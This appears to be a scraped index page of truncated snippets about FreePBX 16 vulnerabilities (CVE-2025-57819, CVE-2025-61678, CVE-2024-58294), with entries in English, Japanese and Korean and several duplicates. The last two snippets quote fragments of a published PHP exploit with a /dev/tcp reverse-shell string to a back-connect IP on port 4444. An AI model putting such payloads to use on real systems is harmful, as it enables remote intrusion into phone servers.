CVE-2025-57819-RCE

FreePBX 16 — Unauthenticated SQLi to RCE概要：本説明では、FreePBX 16 の 2 つの脆弱性（CVE-2025-57819 と CVE-2025-61678）を組み合わせて、未認証アクセスからリモートコード実行（Remote Code Execution, RCE）への権限昇格を実現する完全な攻撃チェーンを示します。脆弱性 CVE 情報CVE 番号影響コンポーネント影響と脆弱性のタイプCVE-2025-57819Endpoint モジュールローダー（brand パラメータ）未認証のスタック型 SQL...

FreePBX-CVE-2025-57819-RCE

FreePBX 16 — 인증되지 않은 SQLi에서 RCE까지 두 가지 FreePBX 취약점을 연결하여 FreePBX 16에서 제로 액세스 에서 원격 코드 실행 으로 이어지는 개념 증명 익스플로잇입니다. CVE| 구성 요소| 영향 ---|---|--- CVE-2025-57819| 엔드포인트 모듈 로더 brand 매개변수| 인증되지 않은 스택 SQL 인젝션 CVE-2025-61678| 엔드포인트 매니저 펌웨어 업로더 fwbrand 매개변수| 인증된 임의 파일 업로드 경로 탐색 작동 방식 1. 관리자 생성 CVE-2025-57819...

Exploit for Authentication Bypass Using an Alternate Path or Channel in Sangoma Freepbx

FreePBX 16 — Unauthenticated SQLi to RCE Proof-of-concept exp...

EUVD-2024-55337

FreePBX 16 contains an authenticated remote code execution vulnerability in the API module that allows attackers with valid session credentials to execute arbitrary commands. Attackers can exploit the 'generatedocs' endpoint by crafting malicious POST requests with bash command injection to...

CVE-2024-58294

FreePBX 16 contains an authenticated remote code execution vulnerability in the API module that allows attackers with valid session credentials to execute arbitrary commands. Attackers can exploit the 'generatedocs' endpoint by crafting malicious POST requests with bash command injection to...

CVE-2024-58294 FreePBX 16 Authenticated Remote Code Execution via API Module

FreePBX 16 contains an authenticated remote code execution vulnerability in the API module that allows attackers with valid session credentials to execute arbitrary commands. Attackers can exploit the 'generatedocs' endpoint by crafting malicious POST requests with bash command injection to...

CVE-2024-58294 FreePBX 16 Authenticated Remote Code Execution via API Module

FreePBX 16 contains an authenticated remote code execution vulnerability in the API module that allows attackers with valid session credentials to execute arbitrary commands. Attackers can exploit the 'generatedocs' endpoint by crafting malicious POST requests with bash command injection to...

CVE-2024-58294: Improper Neutralization of Special Elements used in an OS Command

FreePBX 16 contains an authenticated remote code execution vulnerability in the API module that allows attackers with valid session credentials to execute arbitrary commands. Attackers can exploit the 'generatedocs' endpoint by crafting malicious POST requests with bash command injection to...

FreePBX 16 - Remote Code Execution (Authenticated) Exploit

Exploit Title: FreePBX 16 - Remote Code Execution RCE Authenticated Exploit Author: Cold z3ro Tested on: 14,15,16 Vendor: https://www.freepbx.org/ %26 /dev/tcp/'.$backconnectip.'/4444 0%261'; curlsetopt$ch, CURLOPTSSLVERIFYHOST, false; curlsetopt$ch, CURLOPTSSLVERIFYPEER, false; echo $response =...

FreePBX 16 - Remote Code Execution (RCE) (Authenticated)

Exploit Title: FreePBX 16 - Remote Code Execution RCE Authenticated Exploit Author: Cold z3ro Date: 6/1/2024 Tested on: 14,15,16 Vendor: https://www.freepbx.org/ %26 /dev/tcp/'.$backconnectip.'/4444 0%261'; curlsetopt$ch, CURLOPTSSLVERIFYHOST, false; curlsetopt$ch, CURLOPTSSLVERIFYPEER, false; ec...